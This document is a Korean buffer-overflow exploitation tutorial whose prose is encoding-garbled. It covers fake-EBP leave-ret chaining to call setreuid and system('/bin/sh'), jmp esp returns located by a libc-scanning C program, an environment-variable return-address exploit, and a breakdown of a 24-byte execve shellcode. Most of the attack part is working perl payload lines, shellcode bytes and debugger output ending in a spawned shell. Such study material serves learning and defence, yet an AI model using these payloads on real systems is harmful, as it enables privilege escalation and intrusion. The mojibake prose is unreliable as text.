ÇÏ´Â ¹æ¹ýÀº ÀÌ¹Ì ¹è¿üÀ» °Í ÀÌ´Ù. ebp ¸¦ ¹Ù²ã¼­ ÇÏ¸é °¡´É Çѵ¥, ±×¸²À¸·Î Ç¥ÇöÇØ º¸ÀÚ [main_buf_24 bytes] [fake_ebp0] [leave-ret] [no args] [fake_ebp1] [func1] [leave-ret] [no args] [fake_ebp2] [func2] [leave-ret] [noargs] [fake_ebp3] [func3] [leave-ret] [noargs] ... ¾Æ, º¹ÀâÇÏ´Ù. ±×¸²½Ç·ÂÀÌ ¿µ ²ÎÀÌ´Ù. ½ÇÁ¦·Î Å×½ºÆ® ÇØ º¸¸é¼­ ±×¸²À» º¸¸é Á» ´õ ½±°Ô ÀÌÇØ ÇÒ ¼ö ÀÖÀ» °Å °°´Ù. (gdb) x/x func1 0x804835c : 0x83e58955 (gdb) x/x func2 0x8048374 : 0x83e58955 (gdb) x/x func3 0x804838c : 0x83e58955 (gdb) 0x080483ed : leave 0x080483ee : ret °¢ ÇÔ¼öÀÇ ÁÖ¼Ò¿Í leave-ret ÀÇ ÁÖ¼Ò´Ù. ÀÌÁ¦, °£´ÜÇÏ°Ô exploit Çغ¸ÀÚ. [sjh21a@work overflow]$ ./test `perl -e 'print "X"x24, "\x3e\xfc\xff\xbf", "\xcb\x83\x04\x08"'` `perl -e 'print "\x50\xff\xff\xbf", "\x5c\x83\x04\x08", "\xcb\x83\x04\x08"'` Hello Say yo Hello ¿Í say yo °¡ ½ÇÇà µÇ¾ú´Ù. * µÎ¹ø° ÇÁ·¹ÀÓÀº ½ºÅÿ¡ ¸¸µé¾î ³Ö¾ú´Ù. ù¹ø° ÇÁ·¹ÀÓÀº argv ¿¡ ³Ö¾ú´Ù. ÁÖ¼Ò ±¸ÇÏ´Â ¹æ¹ýÀº À§ÂÊ¿¡ ÀÖ´Ù. Á÷Á¢ Çغ¸½Ã±æ. * ¿ø¸®´Â ¸®ÅÏ ¾îµå·¹½º¿¡ ÀÖ´Â leave-ret ±¸¹®À¸·Î, º¯Á¶ µÈ ebp °¡ ½ºÅÿ¡ ´Ù½Ã Çѹø push µÇ¾î ´ÙÀ½ ÇÁ·¹ÀÓÀ¸·Î ³Ñ¾î°¡°Ô µÈ´Ù. ±×¸®°ï, fake_ebp + 4 ÀÇ ÀÖ´Â ÁÖ¼Ò¸¦ ½ÇÇà ½ÃŲ´Ù. /* leave: mov ebp, esp pop ebp */ 3°³ ¸ðµÎ ½ÇÇà ½ÃÅ°´Â °Ç ¾Ë¾Æ¼­ ÇÒ ¼ö ÀÖÀ» °Í ÀÌ´Ù. ÀÌÁ¦´Â º»°ÝÀûÀ¸·Î, setreuid ¿Í system ÇÔ¼ö¸¦ µ¿½Ã¿¡ È£Ãâ ÇØ º¸ÀÚ. ±×¸® Å« ¹®Á¦´Â ¾Æ´Ñ°Å °°´Ù. ÇÏÁö¸¸, ¿ì¸®°¡ ¿øÇÏ´Â ³ôÀº ±ÇÇÑÀº setreuid(0,0); ÀÌ´Ù. Áï ³Î¹®ÀÚ°¡ Æ÷ÇԵǾî ÀÖ´Ù´Â °Í. ÀÌ ¹®Á¦µµ ÇϳªÇϳª Ç®¾î³ª°¡ º¸µµ·Ï ÇÏÀÚ. exploit ÇÒ ÇÁ·Î±×·¥Àº ´ÙÀ½°ú °°´Ù. //vul.c// int main(int argc, char *argv[]) { char buf[16]; strcpy(buf,argv[1]); printf("%s\n",buf); } //end// ±× ÈÄ, »ç¿ë ÇÒ ÁÖ¼Ò´Â ¾Æ·¡¿Í °°´Ù. (gdb) x/x setreuid 0x400fdcc0 : 0x83e58955 (gdb) x/x geteuid 0x40011240 : 0x53e58955 (gdb) x/x system 0x40063430 : 0x83e58955 (gdb) 0x08048397 : leave 0x08048398 : ret [sjh21a@work overflow]$ ./find 0x4014ed24 : /bin/sh [sjh21a@work overflow]$ ÇÊ¿äÇÑ ÁÖ¼Ò¸¦ ãÀº ´ÙÀ½¿¡, ¾Æ·¡¿Í °°Àº ¹®ÀÚ¿­·Î °ø°ÝÀ» ½Ãµµ Çß´Ù. [sjh21a@work overflow]$ ./vul `perl -e 'print "X"x24, "\x34\xfc\xff\xbf", "\x97\x83\x04\x08"'` `perl -e 'print "\x49\xfc\xff\xbf", "\xc0\xdc\x0f\x40", "\x97\x83\x04\x08", "\x40\x12\x01\x40"x2'` `perl -e 'print "\x41\x41\x41\x41\x30\x34\x06\x40\x41\x41\x41\x41\x24\xed\x14\x40"'` perl ·Î ³ÖÀº ºÎºÐ ¸¶´Ù ºÐ¼®À» Çغ¸ÀÚ. ù¹ø°, `perl -e 'print "X"x24, "\x34\xfc\xff\xbf", "\x97\x83\x04\x08"'` ºÎºÐÀº main ÇÔ¼ö¿¡¼­ fakeµÈ ÇÁ·¹ÀÓÀ¸·Î ³Ñ¾î°¡±â À§ÇÑ °ÍÀÌ´Ù. 0xbffffc34 °¡ ±× ÁÖ¼ÒÀε¥, argv ÁÖ¼Ò ±¸ÇÏ´Â ½ÄÀ¸·Î »ç¿ë Çß´Ù. *½Ä : envp[0] - argv[2] - argv[1] - 1 * µÎ¹ø° `perl -e 'print "\x49\xfc\xff\xbf", "\xc0\xdc\x0f\x40", "\x97\x83\x04\x08", "\x40\x12\x01\x40"x2'` ºÎºÐÀº setreuid(geteuid(),geteuid()); ¸¦ Èä³»³»¾ú´Ù. ¸¶Âù°¡Áö·Î, ebp ¿£ ´ÙÀ½ ÇÁ·¹ÀÓÀÇ ÁÖ¼Ò¸¦ ³Ö°í, setreuid ÇÔ¼öÀÇ ret ¿¡´Â leave-ret ÁÖ¼Ò¸¦ ³Ö¾îÁÖ¾ú´Ù. *½Ä : envp[0] - argv[2] - 1 * ¼¼¹ø° `perl -e 'print "\x41\x41\x41\x41\x30\x34\x06\x40\x41\x41\x41\x41\x24\xed\x14\x40"'` ºÎºÐÀº system("/bin/sh"); ºÎºÐÀÌ´Ù. ¶Ç ´Ù¸¥ ÇÔ¼ö¸¦ È£Ãâ ÇÒ ÇÊ¿ä°¡ ¾ø±â ¶§¹®¿¡, ´ÙÀ½ ÇÁ·¹ÀÓÀÇ ÁÖ¼Ò¿Í, ÇÔ¼öÀÇ ¸®ÅÏ ¾îµå·¹½º ºÎºÐÀº ´õ¹Ì·Î ä¿ö ³Ö¾ú´Ù. Á÷Á¢ Å×½ºÆ® ÇØ º¸±â ¹Ù¶õ´Ù. (¹º°¡ Ʋ¸®´Ù ½ÍÀ¸¸é ¸ÞÀÏÀ» º¸³»´Þ¶ó! °øºÎ ÇÒ°â) ´ÙÀ½ ¼½¼ÇÀº ¸®ÅÏ ¾îµå·¹½º¿¡ jmp esp ¶ó´Â ±â°è¾î Äڵ带 »ðÀÔ Çؼ­, ret µÚÂÊ¿¡ ÀÖ´Â Äڵ带 ½ÇÇà ½ÃÅ°´Â ±â¼úÀÌ´Ù. ÀÌ ±â¼úÀ» »ç¿ëÇϸé, ÄÚµåÀÇ À§Ä¡¸¦ ãÀ» ÇÊ¿ä°¡ ¾ø¾î Æí¸®ÇÏ´Ù. ¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ¦¬[0x05. jmp esp]¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ¾ðÁ¦³ª ó·³ ÀͽºÇ÷ÎÀÕ ÇÒ Å×½ºÆ® ÇÁ·Î±×·¥Àº ¶È°°´Ù. //vul.c// int main(int argc, char *argv[]) { char buf[16]; strcpy(buf,argv[1]); printf("%s\n",buf); } //end// À̹ø ±â¼úÀº ÇÔ¼öÀÇ ret ÁÖ¼Ò¿¡ "jmp esp" ¶ó´Â ±â°è¾î Äڵ带 ³Ö¾î ÁÜÀ¸·Î½á, ret µÚ ÂÊ¿¡ ÀÖ´Â Äڵ带 °¡¸£Å°°Ô µÇ´Â ¹æ¹ýÀÌ´Ù. [buf 24 bytes] [sfp 4bytes] [ret 4bytes] [shellcode] ¸ÕÀú ¸Þ¸ð¸® »ó¿¡ ÀÖ´Â "jmp esp (±â°è¾î·Î´Â 0xffe4") ¸¦ ã¾Æ¾ß Çϴµ¥, º¹»çÇؼ­ ¾²°Ú´Ù. * ff ¸í·ÉÀº ´ÙÀ½ 1¹ÙÀÌÆ®¸¸ ¿ÀÆÛ·£µå·Î °¡Á®¿Â´Ù. * //findesp.c// #include #include #include unsigned int i=0; unsigned int a=0; unsigned char *p; void de(int j) { printf("\r\nGot SIGSEGV:"); printf("%p\r\n",p+a); a++; exit(0); } main(int argc, char* argv[]) { if(argc < 2) { printf("%s \n", argv[0]); exit(0); } sscanf(argv[1], "%x", &i); printf("Using %x\n", i); p=(unsigned char *)i; signal(SIGSEGV,de); foo(); } int foo() { while((unsigned int)p+a < 0xbfffffff) { fflush(stdout); if( (*(p+a)==0xff) && (*(p+a+1)==0xe4) ) { printf("found it!! addr:%p\n",p+a); a+=2; foo(); } a++; } exit(0); } //end// ÄÄÆÄÀÏ ÈÄ, ½ÇÇà ÀÎÀÚ·Î /proc/self/maps ¿¡¼­ ³ª¿Â °ªÀ» ³Ö¾îÁá´Ù. [sjh21a@work overflow]$ cat /proc/self/maps 08048000-0804c000 r-xp 00000000 03:02 3074211 /bin/cat 0804c000-0804d000 rw-p 00003000 03:02 3074211 /bin/cat 0804d000-0804e000 rwxp 00000000 00:00 0 40000000-40015000 r-xp 00000000 03:02 3482984 /lib/ld-2.3.2.so 40015000-40016000 rw-p 00014000 03:02 3482984 /lib/ld-2.3.2.so 40016000-40017000 rw-p 00000000 00:00 0 40022000-40155000 r-xp 00000000 03:02 3482991 /lib/libc-2.3.2.so 40155000-40159000 rw-p 00132000 03:02 3482991 /lib/libc-2.3.2.so 40159000-4015b000 rw-p 00000000 00:00 0 4015b000-4035b000 r--p 00000000 03:02 474217 /usr/lib/locale/locale-archive 4035b000-4045c000 r--p 00f8a000 03:02 474217 /usr/lib/locale/locale-archive bffff000-c0000000 rwxp 00000000 00:00 0 [sjh21a@work overflow]$ [sjh21a@work overflow]$ ./findesp 0x40022000 Using 40022000 found it!! addr:0x4014a54f found it!! addr:0x4014a667 found it!! addr:0x4014a67f found it!! addr:0x4014b5a7 found it!! addr:0x4014b847 found it!! addr:0x4014ca17 found it!! addr:0x4015335b found it!! addr:0x401533e3 Got SIGSEGV:0x4015b000 [sjh21a@work overflow]$ [sjh21a@work overflow]$ ./vul `perl -e 'print "X"x28, "\x4f\xa5\x14\x40", "\xeb\x1d\x5e\x31\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xde\xff\xff\xff/bin/sh"'` XXXXXXXXXXXXXXXXXXXXXXXXXXXXO??1ÀFF ? ?ÒÍ?ÛÍèÞÿÿÿ/bin/sh sh-2.05b$ id uid=511(sjh21a) gid=511(sjh21a) groups=511(sjh21a) sh-2.05b$ ½±°Ô ¼º°ø Çß´Ù. ÇÔ¼öÀÇ ret ÁÖ¼Ò¿¡ jmp esp°¡ ÀÖÀ¸´Ï ´ÙÀ½ +4 ¿µ¿ªÀ¸·Î ½ÇÇà ÇÁ¸§ÀÌ µ¹¾Æ¿À°Ô µÈ´Ù. * esp ´Â ÇÁ·Î±×·¥ÀÌ ÁøÇà µÊ¿¡ µû¶ó Áõ°¡ µÇ¾ú°í, ret ¿¡ jmp esp ¸í·ÉÀÌ ÀÖÀ¸´Ï esp °¡ °¡¸£Å°´Â À§Ä¡(½©ÄÚµå) ¸¦ ½ÇÇà½ÃÄ×´Ù. * jmp esp ¸»°í, jmp ebp, call ebp, esp ¶óµçÁö Á» ´õ ¸¹Àº °É ÇÒ ¼ö ÀÖ´Ù. ±×¿¡ »óÀÀÇÏ´Â ±â°è¾î Äڵ带 ã´Â ¼Ò½º´Â. //s.s// .globl main main: jmp *%esp jmp *%ebp call *%esp call *%ebp //end// ÄÄÆÄÀÏ ÈÄ objdump ¿¡ d ¿É¼ÇÀ» ÁØ µÚ main ¿µ¿ªÀ» º¸¸é ¾î¼Àºí¸®¾î¿¡ »óÀÀÇÏ´Â ±â°è¾î Äڵ带 º¼ ¼ö ÀÖ´Ù. 080482f4
: 80482f4: ff e4 jmp *%esp 80482f6: ff e5 jmp *%ebp 80482f8: ff d4 call *%esp 80482fa: ff d5 call *%ebp ¶Ç ´Ù¸¥ ¹æ¹ýÀ¸·Ð, ½©ÄÚµåÀÇ ÁÖ¼Ò¸¦ ÃßÃøÇÏ´Â ¹æ¹ýÀÌ ÀÖ´Ù. ÀÌ°Ç ¿¹Àü¿¡ ½á³õÀº ¹®¼­°¡ Àֱ⠶§¹®¿¡ Âü°í°¡ µÇ´Â ºÎºÐ¸¸ º¹»ç¸¦ ÇÏ°Ú´Ù. ½ÇÁ¦ ¹®¼­´Â ÂüÁ¶¿¡¼­ È®ÀÎ ÇÒ ¼ö ÀÖ´Ù. /* [ ³ôÀº ÁÖ¼ÒÀÇ ½ºÅà ] 0xbfffffff [ NULL ] 0xbffffffe [ NULL ] 0xbffffffd [ NULL ] 0xbffffffc [ NULL ] 0xbffffffb [ program name ] 0xbffffffa [ env[n] ] [ env[n-1] ] [ env[0] ] [ argv[n] ] [ argv[n-1] ] #include #include #include #define BUFSIZE 512 char sc[]= "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52" "\x53\x89\xe1\x8d\x42\x0b\xcd\x80"; int main(int argc, char *argv[]) { char buf[BUFSIZE+12]; char *prog[] = {argv[1],buf,NULL}; char *env[] = {sc,NULL}; unsigned long ret = 0xbffffffa - strlen(argv[1]) - strlen(sc); int i; for(i=0;i<512;i+=4) { buf[i] = (ret&0x000000ff); buf[i+1] = (ret&0x0000ff00)>>8; buf[i+2] = (ret&0x00ff0000)>>16; buf[i+3] = (ret&0xff000000)>>24; } execve(prog[0],prog,env); } */ ¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ¦¬[0x06. 24byte shellcode]¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ 24byte ½©Äڵ忡 ´ëÇÑ ±ÛÀÌ´Ù. (ÀÌÁ¦ °ÅÀÇ ³¡ ºÎºÐÀÌ´Ù.) ÀÌ ¼½¼Çµµ ¹Ì¸® ½á³õÀº ¹®¼­°¡ Àֱ⠶§¹®¿¡ ºÙÇô³Ö±â·Î... /* 08048348
: 8048348: eb 1d jmp 8048367 0804834a : 804834a: 5e pop %esi 804834b: 31 c0 xor %eax,%eax 804834d: 89 76 08 mov %esi,0x8(%esi) 8048350: 88 46 07 mov %al,0x7(%esi) 8048353: 89 46 0c mov %eax,0xc(%esi) 8048356: b0 0b mov $0xb,%al 8048358: 89 f3 mov %esi,%ebx 804835a: 8d 4e 08 lea 0x8(%esi),%ecx 804835d: 31 d2 xor %edx,%edx 804835f: cd 80 int $0x80 8048361: b0 01 mov $0x1,%al 8048363: 31 db xor %ebx,%ebx 8048365: cd 80 int $0x80 08048367 : 8048367: e8 de ff ff ff call 804834a "\xeb\x1d\x5e\x31\xc0\x89\x76\x08\x88\x46\x07" "\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08" "\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" "\xe8\xde\xff\xff\xff/bin/sh"; 0x08048307 : push $0x68732f6e 0x0804830c : push $0x69622f2f \x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80 0x08048304 : xor %edx,%edx 0x08048306 : push %edx 0x08048307 : push $0x68732f6e 0x0804830c : push $0x69622f2f 0x08048311 : mov %esp,%ebx <--- ÇöÀç esp ¸¦ execev ù¹ø° ÀÎÀÚ´Â ebx·Î Áý¾î ³ÖÀ½ 0x08048313 : push %edx <--- 0 0x08048314 : push %ebx <-- 0 <-- 0x08048315 : mov %esp,%ecx 0x08048317 : lea 0xb(%edx),%eax 0x0804831a : int $0x80 (*esp) ´Â ¹Ù·Î Àü¿¡ push ÇÑ °ªµéÀ» °¡Áö°í Àִ´Ù. esp ´Â -4 °¨¼Ò (stack) execve eax == call number ebx == 1 args path ecx == 2 args path addr edx == 3 args .globl main main: xor %edx, %edx <-- edx ÃʱâÈ­ push $edx <-- 0ÀÌ µÈ edx °ªÀ» Áý¾î ³ÖÀ½ µÚ¿¡ ¿Ã ¹®ÀÚ¿­¿¡ '\0'À» Ãß°¡ÇØ ÁÖ±â À§ÇØ Çѹø push(execve 3¹ø° ÀÎÀÚ) push $0x68732f6e <-- n/sh ºÎºÐ push $0x69622f2f //bi ºÎºÐ ÇÕÃļ­ /bin/sh mov %esp, %ebx <-- point.1 0x69622f2f~~ °ª(esp)À» ebx·Î º¹»ç (execve 1¹ø° ÀÎÀÚ) push %edx <-- point.2 (Å×½ºÆ® Çغ» °á°ú À־ µÇ°í, ¾ø¾îµµ µÇÁö¸¸ Á¦ »ý°¢À¸·Ð ebx ¿¡ NULLÀÌ µé¾î°¡°Ô ÇÏÁö ¾Ê°Ô Çϱâ À§ÇÑ °Å °°±âµµ Çѵ¥..¹»±î¿ä?) push %ebx <-- ½ºÅÿ¡ ebx ¸¦ push ÇÔÀ¸·Î½á esp °ªÀÌ //bin/sh ¹®ÀÚ¿­ÀÇ ÁÖ¼Ò¸¦ °¡¸£Å°°Ô µÈ´Ù. mov %esp, %ecx <-- esp ¸¦ ecx ·Î º¹»ç (execve 2¹ø° ÀÎÀÚ path addr) lea 0xb(%edx), %eax <-- »ç½Ç mov 0xb, %eax ¸¦ »ç¿ëÇصµ µÇÁö¸¸, À§¿¡¼­ eax ¸¦ ÃʱâÈ­ÇØÁØ °÷ÀÌ ¾ø±â ¶§¹®¿¡ »óÀ§ ºñÆ®¿¡ ¾²·¹±â°¡ µé¾î°¡°Ô µÇ¸é execve ¸¦ È£ÃâÇÏÁö ¾Ê±â ¶§¹®¿¡, ¾ÈÀüÇÏ°Ô Çϱâ À§ÇØ edx ¸¦ ±âÁØÀ¸·Î Àâ¾Æ execve ½Ã½ºÅÛ ÄÝÀ» ÀÌ¿ë Çß´Ù. int $0x80 <-- ¸¶Áö¸·À¸·Î ½ÇÇà! 0x8000000 +-------------- | | edx | |-------------- | | /bin | |-------------- | | /sh | |-------------- | | edx(0) | +-------------- 0xffffffff */ esp °¡ Áõ°¡µÇ´Â Ư¼ºÀ» ÀÌ¿ëÇؼ­ ÀÛ¼ºµÈ ½©ÄÚµåÀÌ´Ù. ¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ¦¬[0x07. ¸¶Ä§]¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ºÎ·ªºÎ·ª ±ÍÂ÷´ÏÁò¿¡ Âѱâ´À³Ä ÀǽÄÀ» ÀÒÀ» »· Çß½À´Ï´Ù. ¾ÆÁ÷ ºÎÁ·ÇÑ°Ô ¸¹½À´Ï´Ù. ½Ãºñ¼º ÅÂŬÀº »ç¾çÇØ ÁÖ¼¼¿ä. ³»¿ëÀÌ ÇãÁ¢ÇÏ´õ¶óµµ¿ä ¤¾ ¾ÆÁ÷ ¾²°í ½ÍÀº °Íµµ ÀÖ½À´Ï´Ù. execl+3 À̶óµçÁö, fsb, dfb ¶óµçÁö, ±âȸ°¡ µÇ¸é ´Ù½Ã Çѹø ÀüüÀûÀ¸·Î °øºÎ ÇÒ °â ½áº¸µµ·Ï ÇÏ°Ú½À´Ï´Ù. ÀÌ»óÇÑ ºÎºÐÀº ¹Ù·Î¹Ù·Î ¸»¾¸ÇØ ÁÖ¼¼¿ä~~ ¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬ ÂüÁ¶¹®¼­ : Jmp *%esp, Call *%esp ¸¦ ÀÌ¿ëÇÑ Buffer Overflow Exploit Á¦ÀÛ - Mutacker argv ÁÖ¼Ò ±¸Çϱâ - naska